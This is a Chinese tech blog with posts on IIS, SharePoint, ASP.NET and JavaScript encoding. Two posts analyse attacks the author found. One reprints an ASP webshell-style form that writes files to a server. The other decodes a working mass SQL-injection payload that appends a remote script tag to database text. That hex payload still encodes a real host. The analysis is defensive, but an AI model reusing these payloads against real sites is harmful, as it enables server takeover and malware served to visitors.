關於我

我的相片
用心思考、保持熱情,把工作上的經驗作分享與紀錄。希望能夠跟大家一起不斷的成長~

如何部署 Asp.Net 4.0 應用程式於 IIS 7 x64 WSS 3.0 下

在佈署Asp.Net 4.0應用程式至IIS7 x64 WSS3.0下時,一直發生執行網頁,只有一整片空白,什麼都沒有,一開始看到這情況一下還傻住了,完全不知從何下手。 唯一馬上想到的,只有對應處理常式是否設定不正確這方向。檢查後,發現確實有問題!但卻在調整後,一無所獲、完全沒動靜,依然為一片空白Orz。 最後在幾小時的努力後,總算解決問題。發生原因可謂錯綜複雜,因此趕緊將此次經驗做個紀錄。

紀錄下在 Windows Server 2008 Standard x64 IIS7.0 的系統環境,WSS 3.0 x64 預設 SharePoint – 80 網站環境下部屬 Asp.Net 4.0 應用程式所遇到問題,與解決方式。

  1. WSS 3.0 x64 只能運行於 x64 mode。並Managed管線模式,需運行於Classic(傳統)。
    擷取
    如果非運行於x64 mode ,會造成網頁執行後,呈現一整片空白。遇到這狀況時,會十分困難除錯。
    而還需注意的是,Managed管線模式,需運行於Classic(傳統)。否則也造成運行一片空白的窘境。

  2. 佈署於SharePoint - 80下之Web應用程式,其Managed管線模式須設定為Classic(傳統)。
    擷取
    以此例,部屬Asp.Net 4.0的應用程式,其應用程式集區,需選用ASP.Net v4.0 Classic (注意其Managed管線模式是否為[傳統]) 。如非選用傳統模式,則也會有該應用程式網頁呈現一片空白之情況。

  3. WSS 3.0 與 .Net Framework 的安裝順序,會影響 WSS 3.0 所使用到的 Handler。
    以此例,因WSS 3.0實際使用v2.0的.Net Framework,而需部屬其下之Web應用程式使用的則為v4.0的Framework。此時要注意該應用程式之[處理常式對應]是否包含有v4.0的對應。
    擷取2 
    擷取3
    如果不包含,表示您可能未安裝v4.0 Framework,可下載dotNetFx40_Full_x86_x64安裝。 或是安裝順序不正確,如先安裝.4.0 .net Framework 後才安裝IIS,則會發生iis無4.0對應之狀況,此時須執行aspnet_regiis.exe重新註冊v4.0 至IIS。 又或是先安裝了WWS 3.0 ,爾後才又安裝 4.0 .Net Framework,則會發生 Wss 3.0 中的對應處理常式,不包含v4.0的處理常式。只含有v2.0的部分,則此時此SharePoint下之應用程式,也將只繼承到v2.0部分,將會沒有對應v4.0的功能,此時也可能造成執行網頁後,只出現一片空白。

    處理方式為,於SharePoint管理中心中,先擴增原SharePoint – 80應用程式 ( 比方說擴增為Port 8080 對應內部網路..等 ) ,接著再移除原預設(Port 80)應用程式,移除後再重新將預設 Port 80 擴充回來,類似重新建立預設的應用程式了,這樣便可正確抓到新安裝的.net Framework 對應處理常式。

  4. 最後則是部屬使用Asp.net 4.0之應用程式需特別注意的,需增加 [ 萬用字元指令碼對應 ]。
    這個不管事再 IIS 6.0或是 IIS 7.0 都須特別注意的,而iis 6.0 與 iis 7.0的設定位置不同,分別示意如下圖:

    IIS 6.0部分:
    1

    IIS 7部分參考如下:
    擷取5 
    擷取6 
    擷取7 
    擷取8 

這次問題均在不熟悉的環境中發生(IIS7、x64、WSS),算是花了不少時間在找問題的原因。不過總算是對IIS 7有更深入的瞭解了~ 此處將遇到之錯誤做紀錄,也許還有疑點或需繼續探討處,待未來慢慢再深入研究琢磨~~

Wss 3.0 sp2 x64安裝:Internet Information Services 正執行於 32 位元模擬模式中。

在Server 2008 R2主機上安裝Wss 3.0 Sp2 64bit時,出現了如下圖的錯誤:
image 
此錯誤訊息的英文原文為:IIS in running 32-bit emulation mode, please fix this error to continue

遇此狀況需將Enable32bitAppOnWin64關閉,方式如下:

  1. 開啟Command視窗。
  2. 輸入:CSCRIPT %systemdrive%\inetpub\adminscripts\adsutil.vbs set w3svc/apppools/Enable32BitAppOnWin64 0
    image
  3. 重啟IIS,接著輸入:iisreset
    image

如上設定便可正確安裝了!
image

IE8 設定 mailto 連結使用編碼方式 ( UTF-8 or Big5 )

如您於瀏覽器點選E-mail連結後,發生Outlook帶出之預設E-mail資訊為亂碼。可參考下方步驟調整瀏覽器之設定。

1.開啟IE瀏覽器,點選[工具]→[網際網路選項]。

未命名-1

2.取消勾選 [在mailto連結使用UTF-8] 設定。

s2

此設定適用於各瀏覽器發生此問題時之問題排解,均可至IE8瀏覽器,參考上方步驟做設定,以排除此問題。

目前測試IE、Firefox、Chrome等瀏覽器,均可適用此設定。

設定資訊如上~~

關閉微軟系統嗶嗶聲(Turn off Windows system Beep Sound )

有時在使用虛擬機器時,系統一直發出Beep聲,很煩人,也會打擾到其他同事XD。
這邊把停用Beep Service的方法寫下來:

如果要關閉Beep Service,開啟Command視窗,輸入以下指令:

net stop beep

如果要開啟Beep Service,開啟Command視窗,輸入以下指令:

net start beep

但注意,系統重啟後,此Service還是會跟著重新開啟喔!!

如何將MVC 2.0專案掛載於SharePoint(WSS)網站虛擬目錄下

如果在WSS環境下,希望可以在WSS網站虛擬目錄下直接掛載MVC專案。當使用VS2010 MVC2.0開啟MVC專案,並指定Web使用指向WSS下的虛擬目錄作為Web環境,這時會發現執行此MVC專案,會發生找不到路徑的錯誤。如下圖:
擷取1 

這是因為在.Net4.0中,已將UrlRoutingModule加入,Framework預設的Config中,如下圖:
擷取2 

所以在VS2010中,新建立的MVC 2.0 專案Web.config中,預設是不會有UrlRoutingModule的定義的,因為一般繼承Framework中的config設定,應該就可以正確運作了。

但SharePoint環境中,在HttpModule的宣告時,有特別把Framework的預設config部分Clear。因此掛在SharePoint網站下虛擬目錄之MVC專案,便無法正確被解讀了。如下圖參考:
擷取
知道原因後,這裡有兩個方式可以解決此問題:

  1. 把SharePoint的Web.cofig中,HttpModule區塊中的<Clear />拿掉。
  2. 在新的MVC專案中重新宣告UrlRoutingModule的定義。

我這裡選用第二種方式來解決我的問題。畢竟不瞭解為什麼SharePoint要清除上層的HttpModule設定,因此我想還是保留SharePoint預設值較佳,因此我在MVC專案的Web.config中加入如下區段:
擷取3
目前看起來MVC便可以正確運作了!

擷取5 
將這次問題經驗註記下來,分享給大家!

MSSQL 清除 Cache 與 Buffers

資料庫測試Query執行時間等數據時。 要特別注意Cache與Buffers的影響,因此在每個Query測試前,須注意先將Cache與Buffers清除。以確保執行不受Cache與Buffers影響。執行Query如下:

DBCC FREEPROCCACHE;
DBCC DROPCLEANBUFFERS;
GO

每次要用都忘記,趕快寫下來XD

control contains code blocks (i.e. <% ... %>).

今天在幫一個網頁加上AjaxControlToolKit的 CalendarExtender 時,很離奇的發生了如標題錯誤,完整的錯誤Message如下:
The Controls collection cannot be modified because the control contains code blocks (i.e. <% ... %>). 
1
之前在使用AjaxControlToolKit,從沒遇過這奇怪的訊息。深怕是自己哪個小細節錯了,直接在VS2008 & VS2010 開了新專案測試,但怎麼測試都是可以正確執行,唯獨此專案會發生此錯誤,怎麼想都想不通。

查了很久,決定將頁面中所有In-line Tag <% %>相關的部分,一個一個註解掉,測試到底是什麼原因發生錯誤。

最後發現,原來是MasterPage中,Header部分,如下程式碼在作怪:

<script src="<%= ResolveUrl("~/Scripts/jquery-1.4.1.min.js") %>" type="text/javascript"></script>

將上方引用JQuery部分,修改為不使用ResolveUrl方式產生路徑,改直接固定寫死即可避免此錯誤了。

<script src="/Scripts/jquery-1.4.1.min.js" type="text/javascript"></script>

會用上方寫法,是因為怕每個ContentPage的路徑各不相同,因此習慣在這種寫死路徑的地方,都在用ResolveUrl包起來,由Server自動產生正確路徑,避免抓不到,或參考不到的問題,很多如MasterPage用到的圖片...等,都會使用這樣的寫法。

結果經測試,只要MasterPage的Header中,含有<%= %>的In-line Tag,在有用到AjaxControlToolKit的ContentPage都會發生如標題之錯誤!而MasterPage的Body中,使用<%= %>的In-line Tag,則運作良好。

為什麼會有這樣的情況,其實還不太了解,想不通。但下次就必須注意MasterPage的Header中,要避免包含 In-line Tags了!!

PS. 我不太確定是否稱為In-line Tags,我指的In-line Tags,是指,<% %>、<%= %>、<%# %>、<%$ %>、<%# %> … 等標籤。 In-line Tags 可參考此篇文章,inline asp.net tags

Html 5 在各瀏覽器的支援程度

http://www.findmebyip.com/litmus#target-selector
Html 5 在各瀏覽器的支援程度!!
實用的參考!

看到各家瀏覽器對HTML5的支援都已如此了。
但微軟的IE卻…?! (雖然聽說在IE9便會加入支援的行列!)

但這樣的策略模式,
我有點再思考未來的網頁設計之路了!

Flash 、Sliverlight、HTML5

大家很常拿 Flash 與 HTML5 來做比較。
1. 現在的Flash已是大家在Web上,最廣泛被應用的了。
2. 而Html5目前的支援度,算是最常被大家拿來探討的!  ( 雖然各瀏覽器已逐漸支援了! )

但微軟呢?!
1. 現在的微軟高調的開發SliverLight。
2. IE目前各版本 ( IE6 ~ IE8 ) 對Html5的支援度極極低。
3. 由開發者角度來看,目前的ASP.NET開發環境,也都還無支援HTML5,而隨著VS2010的上市,
    現在已在全力推廣 SliverLight。

那這樣的情況,HTML5到底是不是明日之星呢?!
看起來,我覺得似乎困難重重!

繼續持續觀察吧~~

PS.不過說真的,HTML5還是滿有趣的,分享一個不賴的Html5資訊吧~ http://slides.html5rocks.com/#slide1~ ^_^

JQuery Selector 使用實例分享

擷取
今天有個需求,功能如上圖,可讓User任意勾選所需項目,且後方可輸入所需數量。
額外希望可達到的功能需求如下:

  1. 項目未勾選時,後方為不可輸入狀態,且預設值為0。
  2. 項目勾選後,後方即改變狀態為可輸入,且數量預設為1。
  3. 數量欄位只可輸入數字。
  4. 如項目已被勾選,則數量不可為0。
  5. 如項目已被勾選,則需求欄位不可為空。

上方輸入表單,使用ListView實作,實際aspx頁面如下:

<table id='ItemsTable'>  
  <asp:ListView ID="ListView2" runat="server">  
    <ItemTemplate>  
      <tr>  
        <td valign="top">  
          <asp:CheckBox ID="cbitem" runat="server" Text='<%# Eval("ItemName") %>' />  
          <asp:Label ID="Label4" runat="server" Text="( 需求數量:" Visible='<%# Eval("NeedQty") %>' />  
          <asp:TextBox ID="tbQty" runat="server" Width="30px" Visible='<%# Eval("NeedQty") %>'  
            Text="0" Enabled="false" MaxLength="5" JQ="tbQty" />  
          <asp:Label ID="Label5" runat="server" Text=" )" Visible='<%# Eval("NeedQty") %>' />  
        </td>  
      </tr>  
    </ItemTemplate>  
  </asp:ListView>  
</table>

下方為Jquery實作部分,將此段Script,置於Header中即可。

<% if (false)  
    { %>  
<script src="../Script/jquery-1.4.1-vsdoc.js" type="text/javascript"></script>  
<% } %>  
<script type="text/javascript">  
  $(document).ready(function () {  
    //CheckBox互動,以Table的ID=ItemTable,找這個Table裡的checkbox (input type=checkbox)  
    $('#ItemsTable :checkbox').change(function () {  
      //取得被點選CheckBox的ClientID.  
      var ckid = $(this).attr('id');  
      //找到被點選的CheckBox後的第一個Type=text的ClientID.  
      var tbid = $('#' + ckid + ' ~ :text').first().attr('id');  
      if ($('#' + tbid).length == 1) {  //如果有正確取到TextBox(因這個TextBox為動態顯示)  
        //取得是否被勾選  
        var cked = $(this).attr('checked');  
        if (cked) {  
          $('#' + tbid).val('1');  //被勾選,將TextBox值改為,數量1  
          $('#' + tbid).attr('disabled', ''); //設定是否可更改  
        } else {  
          $('#' + tbid).val('0');  //被取消勾選,將TextBox值改為,數量0  
          $('#' + tbid).attr('disabled', 'disabled'); //設定是否可更改  
        }  
      }  
    });
  
    //TextBox檢核互動,以Table的ID=ItemTable,找這個Table裡的textbox (input type=textbox)  
    $('#ItemsTable :text').keyup(function () {  
      //檢查是否含非數字字元  
      if (isNaN($(this).val())) {  
        alert('只可輸入數字字元!');  
        this.value = this.value.replace(/[\D]/g, '');  
      }  
      //檢查是否只輸入0  
      if ($(this).val() == '0') {  
        alert('至少要有數量1!');  
        this.value = '1';  
      }  
    }).focusout(function () {  
      //檢查是否未輸入數量  
      if ($(this).val() == '') {  
        alert('至少要有數量1!');  
        this.value = '1';  
      }  
    });  
  });    
</script>

分享給大家。

一句話木馬原理分析

今天發現有網站asp程式,被植入了一段VBScript.111
便趕緊上網查了一下。
下面為了解後的資訊,註記下來:

  1. 先了解上方是已先被植入到Server端asp程式內的木馬,怎麼被植入的我就不知道了,只是這個木馬,便提供給駭客一個後門。
    駭客便可利用此木馬,入侵做些不合法的事了,不過這段是一句話木馬的變形加強版,主要是此段script,在平時,完全不會對網站造成傷害,且瀏覽此頁asp的使用者,不會有異狀發生,且連直接在client看此網頁原始碼,也都不會發現此段木馬的蹤跡。
  2. 接下來要分析,駭客可以利用此木馬當作入口,做些什麼呢?!
    簡單來說,利用此木馬,即可執行其中名稱為chr(35)的html tag區域,chr(35)是#字號,這網頁中,沒有任何name=#的Tag,所以平時不會作用,但當有人Post給此網頁的資訊中,含有name=#的Tag,則此Tag中的資訊將被Execute!!
  3. 如上點說明,Google到一個典型的範例,利用Asp直接操作Server端的Adodb.Stream物件,利用此物件在Server端再植入其他程式、或任何您想植入的東西@@。
    範例如下:
    <form action=http://XXX/xxx.asp method=post>   
    <textarea name=# cols=120 rows=10 width=45>     
    set iP=server.createObject("Adodb.Stream")   
    iP.Open   
    iP.Type=2   
    iP.CharSet="big5"   
    iP.writetext request("aoyun")   
    iP.SaveToFile server.mappath("xxx.html"),2   
    iP.Close   
    set iP=nothing   
    response.redirect "xxx.html"   
    </textarea>  
    <textarea name=aoyun cols=120 rows=10 width=45>     
    哈哈哈     
    </textarea>     
    <input type=submit value=提交>     
    </form> 

    利用name=#部分的內容,讓Server端包含一句話木馬的網頁執行,寫入內容為name=aoyun部分的新網頁xxx.html。利用這樣的方式即可將欲寫入的資料寫到Server端,接下來可造成的傷害有多大,就可想而知了!!!實際執行的Client植入網頁如下圖:image
  4. 上方操作,實際測試,有兩點要注意,Adodb.Stream元件是否可使用,再來就是權限問題了,必須要有寫入權限,才可能可以成功植入。
  5. 因次網頁伺服器上的權限是相當重要的啊!!!千萬不可以大意!!

Sql injection + XSS 實際攻擊手法分析

今維護的網站,發生Exception錯誤訊息,Exception中QueryString部分,看起來十分奇怪。
不太對勁,分析後發現確實為被攻擊的現象。

簡單來說,攻擊手法是使用打游擊的方式到處測試網頁是否有 SQL injection 的漏洞,有的話,便將資料庫字串欄位附加上 <script>xss script</script> 的XSS攻擊指令,以便顯示在網頁時攻擊使用者電腦,是標準的 SQL Injection + Persisted XSS 攻擊。
而script部分,則利用iframe方式,讓網頁被打開時,javascript自動連結此不合法scipt中的iframe,而被連結之網址,便可透過觀測該網站的流量,與來訪紀錄,得知被攻擊成功的主機資訊,或是整體攻擊情況。

發現異常的QueryString:
OID=287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D07359734……………B2D2D%20eXeC(@s)--

以下為攻擊手法分析:

1. 將QueryString做URLDecode,轉回正常字串。

string querystr = @"287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--";

string decode = HttpUtility.UrlDecode(querystr);

Console.WriteLine(decode);

//Decode結果如下

//"287;dEcLaRe @s vArChAr(8000) sEt @s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D eXeC(@s)--"

2. 發現上方Decode結果是個Tsql Query,主要執行@s = 0x6445634C61526…部分,因此繼續將此binary拿至sql2005解析。

3. 於SQL2005將binary query 轉回string query,解讀攻擊資訊。

--將被送入的binary query轉回string
print convert(varchar(max),0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D, 2)

--轉回的正常string,發現是一段store procedure,主要目的是更新被攻擊資料庫的data

dEcLaRe @t vArChAr(255),@c vArChAr(255)

dEcLaRe tAbLe_cursoR 

cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)

oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c 

while(@@fEtCh_status=0)

bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%22dnf%''')

fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd

cLoSe tAbLe_cursoR 

dEAlLoCaTe tAbLe_cursoR;-

--其中更新內容,也轉回string,內容為<script src=hccp://xxx.xxx/ff/y.js></script>,為避免誤點,網只是亂打的!

print convert(varchar(max),0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E, 2)

--最後將我門資料更新的結果,Our Data<script src=hccp://xxx.xxx/ff/y.js></script>

select rtrim(convert(varchar(8000),'Our Data'))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) --用以上方式,搭配sql injection , 達到XSS攻擊!

以上如被攻擊成功,被攻擊網站即已被植入不法Script,可能繼續對瀏覽網站使用者造成傷害。

各瀏覽器 UpLoadFile.PostedFile.FileName 屬性的差異

今天發現 Asp.net 在 Server 端收到 各瀏覽器 Response 回的UpLoadFile.PostedFile.FileName傳回的值有些差異。
以上傳D:\123.txt為例,各瀏覽器傳回值如下:

  1. IE5:D:\123.txt
  2. IE6:D:\123.txt
  3. IE7:123.txt
  4. IE8:123.txt
  5. Chrome:123.txt
  6. FireFox:123.txt

因此在CodeBehide取值時,要特別注意。會有差異。
可以多使用Path.GetFileName(),便可避免因瀏覽器傳回的差異,而取到不相同的值了!
程式碼如下:

Path.GetFileName(UpLoadFile.PostedFile.FileName);

讓 FCKEditor 的 Link : MailTo 功能,改用 Big5 編碼

FCKEditor 是個很讚的線上編輯器,這模組,可讓我們直接在線上,類似使用frontpage等工具一樣的操作,去編寫一個網頁。因此也被許多論壇所採用!如果有機會,看看FCKEditor的Source,會發現它基本上是個幾乎全部使用Javascript動態產生的環境。真的是嘆為觀止!今天要介紹的是一個在這編輯器上的客製功能。

因為我們慣用語言是中文,中文在編碼上要相當注意,不然時常會發生亂碼的問題,例如FckEditor的Link模組中,可讓我們加入MailTo功能,畫面如下:
1
而編輯器最後便會幫我們在網頁上,加入一個如:mailto:電子郵件地址?subject=主題&body=內文,的連結。而問題也就發生在主題與內文的部分,FCKEditor預設會幫我們把主題與內文的部分,做Javascript的Encode,Encode過得編碼為UTF-8的格式(FCKeditor預設使用encodeURIComponent方法做Encode),但這樣的連結,就必須考慮到讀取的介面是否支援了,例如outlook是否支援。經過測試,outlook 2010 以前的版本,均只支援讀取big5的編碼格式,而outlook 2010 則只支援使用unicode編碼。因此FCKEditor編輯器產生的MailTo連結,在使用outlook 2010開啟時,十分正常,但其他之前版本的outlook則全部變成亂碼。
因此有了今天這篇文章,如何在FCKEditor自訂,讓MailTo改使用Big5編碼。時做的步驟如下:

  1. 我們要先新增兩個aspx的頁面,用於接收client的資訊,在Server端將字串用Big5編碼格式做URLEncode與URLDecode後回傳。
    新增一個頁面FCKbig5encode.aspx,用於將字串做URLEncode。
    <%@ Page Language="C#" %>
    
    <% 
        if (Request.QueryString["data"] != null)
        {
            try
            {
                string data = HttpUtility.UrlDecode(Request.QueryString["data"]);
                string big5encode = HttpUtility.UrlEncode(data, Encoding.GetEncoding("Big5"));
                Response.Write(big5encode);
            }
            catch
            {
                Response.Write(Request.QueryString["data"]);
            }
        }
        else
        {
            Response.Write(Request.QueryString["data"]);
        }           
    %>
    新增第二個頁面FCKbig5decode.aspx,用於將字串做URLDecode。
    <%@ Page Language="C#" %>
    
    <% 
        if (Request.QueryString["data"] != null)
        {
            try
            {            
                string data = Request.QueryString["data"];
                string big5encode = HttpUtility.UrlDecode(data, Encoding.GetEncoding("Big5"));
                Response.Write(big5encode);
            }
            catch
            {
                Response.Write(Request.QueryString["data"]);
            }
        }
        else
        {
            Response.Write(Request.QueryString["data"]);
        }           
    %>
    將以上兩個檔案,新增於路徑 fckeditor\editor\dialog\fck_link\ 下。
  2. 再找到 fckeditor 處理 link 相關的 js 檔,fck_link.js。(我使用的版本2.6.5,路徑於fckeditor\editor\dialog\fck_link\fck_link.js ,如與您使用的版本,或路徑不相同,再自行對應變更路徑與新增頁面。)
  3. 開啟 fck_link.js 後,插入下方兩段Javascirpt ,使用此兩段Javascript,讓Client 端 Javascript 可直接呼叫,將字串做 big5 的 URLEncode。
    第一段用來與Server端FCKbig5encode.aspx頁面互動,做字串的Encode 
    function Big5encodeURIComponent(str) {
        var xml = new ActiveXObject("MSXML2.XMLHTTP");
        var data = encodeURIComponent(str);
        xml.open("get", "fck_link/FCKbig5encode.aspx?data=" + data, false);
        xml.send();
        return xml.responseText;
    }
    第二段用來與Server端FCKbig5decode.aspx頁面互動,做字串的Decode
    function Big5decodeURIComponent(str) {
        var xml = new ActiveXObject("MSXML2.XMLHTTP");
        var data = encodeURIComponent(str);
        xml.open("get", "fck_link/FCKbig5decode.aspx?data=" + data, false);
        xml.send();
        return xml.responseText;
    }
  4. 接下來將 fck_link.js 中 MailTo 相關部分,原來使用 encodeURIComponent 方法的部分,全部替換成 big5encodeURIComponent,以此類推,也將相關的decodeURIComponent 方法的部分,全部替換成 big5decodeURIComponent。這樣就完成讓FCKEditor使用big5編碼做URLEncode囉~
不過以下幾點要特別小心注意:
  1. 因為使用的是Big5編碼格式,所以要小心一些難字會變成問號(?),例如;堃。
  2. 在要編碼的內文中,要特別注意是否有(),這兩個符號。這兩個符號在Javascript encodeURIComponent方法中,會被排除不做URLEncode,但因這裡是使用Xml.open將資訊送回Server端做處理,當送回的Querystring中有(),這兩個符號。會發生錯誤,因此要小心不可有這兩個字元。如要使用,可使用全形的括弧,即可避免這個錯誤。
  3. URL有最大長度的限制,上Google查到的資訊是最大長度限制為2083個字元,但我測試得結果是2031個字元,但要小心有些字元可能在產稱mailto的url時,會再被編碼成HtmlEncode,例如&字元,會被HtmlEncode為&amp;,所以在最後呈現在Html上的字數限制計算上,要十分注意。不然會有無法開啟mailto、或有錯誤訊息的狀況發生。
以上分享給大家~

---------------------------------------------------------------------------------------------------------------------

[2010/07/22]最新訊息,上方有提到,outlook 2010已改 mailto 使用 utf-8 編碼格式。這是說法是錯誤的,說明如下:

正確來說,應該是在新版本的IE8中(不太確定是否是IE8、或更早版本、或其實在系統中亦可設定?!),加入了一個選項,截圖如下:

擷取

這個選項便影響整體OS中,所有由瀏覽器送出 mailto 連結給 outlook 時所使用的編碼方式!

Javascript URLEncode - escape , encodeURI , encodeURIComponent 的差異

在使用Javascript的URL encode時,常不清楚該使用哪一種方式,
今將escape、encodeURI、encodeURIComponent三種方法得差異整理如下:

參考幾篇不錯的文章:

  1. 清楚解釋各encode對中文的編碼方式:用Javascript替中文轉碼:escape, encodeURI, encodeURIComponent 的比較
  2. https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Functions/encodeURI
  3. https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Functions/encodeURIComponent
  4. http://blog.miniasp.com/?tag=/encodeuri
  5. http://diary.tw/march/category/Javascript

並依得到的資訊,實際測試字串"A Z a z 0 1 堃 - _ . ! ~ * ' ( ) ; , / ? : @ & = + $ #"等字元,在被不同JavaScript URLEncode方法Encode後的結果,整理如下表:

文字類型 英文 數字 中文 Unescaped characters Reserved characters Score
原始字串 A Z a z 0 1 - _ . ! ~ * ' ( ) ; , / ? : @ & = + $ #
escape後 A Z a z 0 1 %u5803 - _ . %21 %7E * %27 %28 %29 %3B %2C / %3F %3A @ %26 %3D + %24 %23
encodeURI後 A Z a z 0 1 %E5%A0%83 - _ . ! ~ * ' ( ) ; , / ? : @ & = + $ #
encodeURI
Component後
A Z a z 0 1 %E5%A0%83 - _ . ! ~ * ' ( ) %3B %2C %2F %3F %3A %40 %26 %3D %2B %24 %23

ps. 上表紅色字體表示部分,是突顯各Encode方法,不會做Encode的字元!

由上方的資訊可以整理出一些結論:

  1. 英文字數字-_.* 這些字不管是哪一種Javascript URLEncode方式,都是不會被encode的!
  2. 各Encode方法,都是Encode為Unicode,但escape是Encode為UTF-16、而encodeURI與encodeURIComponent則是UTF-8
  3. 因為 Javascript 都是 Encode 為 Unicode ,因此如有特殊用途須使用Big5編碼,需自行想辦法處理,例如 URI 中的 MailTo: 用法,outlook2010以前的版本,都只支援讀取Big5編碼! 但outlook 2010 卻又只支援讀取 Unicode @@。
  4. 符號部分,UTF-8與UTF-16的結果相同,因此上表可看到,除了被排除不Encode的字元外,使用escape與encodeURIComponent做Encode後的結果是相同的!
  5. 中文字部分,因 UTF-16 與 UTF-8 的編碼結果不同(可參考上表差異),所以如內容有中文,則必須慎選Encode的方式,不然就要有對應的處理方式!
  6. encodeURI 與 encodeURIComponent 的差異是,encodeURI 會排除對 URL 有特殊意義的字元不做編碼,因此會排除 Reserved characters 與 Score 類型的字元。
  7. encodeURI 與 encodeURIComponent 均會排除 Unescaped characters 類型的字元。

所以在使用時,我認為可由兩方面去思考,判斷應使用哪一種Encode:

  1. 您要Encode的內容,適合使用哪一種編碼方式?! UTF-8 還是 UTF-16 ?!
    (這點跟使用的環境支援哪一種Encode … 等會有相關。)
  2. 您要Encode的內容,是否包含了於 URI 有特殊意義的字元?!
大致上這三種 javascript 的 URLEncode 方式特性整理如上。 希望下次使用時,可以清楚分辨該使用哪一種囉~~~

如何在64位元作業系統中,指定Web應用程式用32位元模式執行

今天專案將Web應用程式部署至64位元的作業系統時,
果不其然的發生了問題,有支程式用 Microsoft.Jet.OLEDB.4.0 Provider 把Excel資料讀進來。
但在64位元的環境執行時,這段程式出了問題。
上Google一查,原來是 Microsoft.Jet.OLEDB.4.0 Provider 沒有For 64bit的版本。
查到的方法,就唯獨讓Web應用程式使用32bit mode一途,可解決此問題了。

在此情況下,以下介紹兩種可以讓Web應用程式使用32bit mode執行的方式!

  1. 在專案的屬性視窗中,選到建置的設定視窗,將平台目標(PlatformTarget)修改為x86即可。
    擷取1
  2. 直接修改佈署Web應用程式的應用程式集區(ApplicationPool),指定以32bit mode執行。
    (在寫此文章時,查看 IIS7.0 與 IIS7.5 兩版本,均有此選項可做調整)

    擷取 
    以上兩種方式,均可指定應用程式使用32bit 模式執行。

但如使用第一種方式,須注意到,因預設使用AnyCPU的選項,會依您佈署作業系統環境,
而對應使用不同的CPU mode。

所以當所有Library都設定為AnyCPU,僅有其中一個Library被修改指定使用x86模式時,
當佈署於x86的作業系統環境,應用程式全部都會使用x86運行,便可完全正常運作。
但當佈署至x64的作業系統環境時,便會有些以x64運行,有些要以x86運行,便會發生無法載入的錯誤情況。
因此要相當注意,有參考到的Library都必須一併指定為x86 mode,
不然應用程式在Runtime時,會發生x64無法跟x86溝通的問題。

但這問題就來了,如果是我們自己開發的程式,指定運行的Mode當然沒問題。
但如果是使用一些Third party的Tool,這時就很難保證他會用什麼模式運行了。

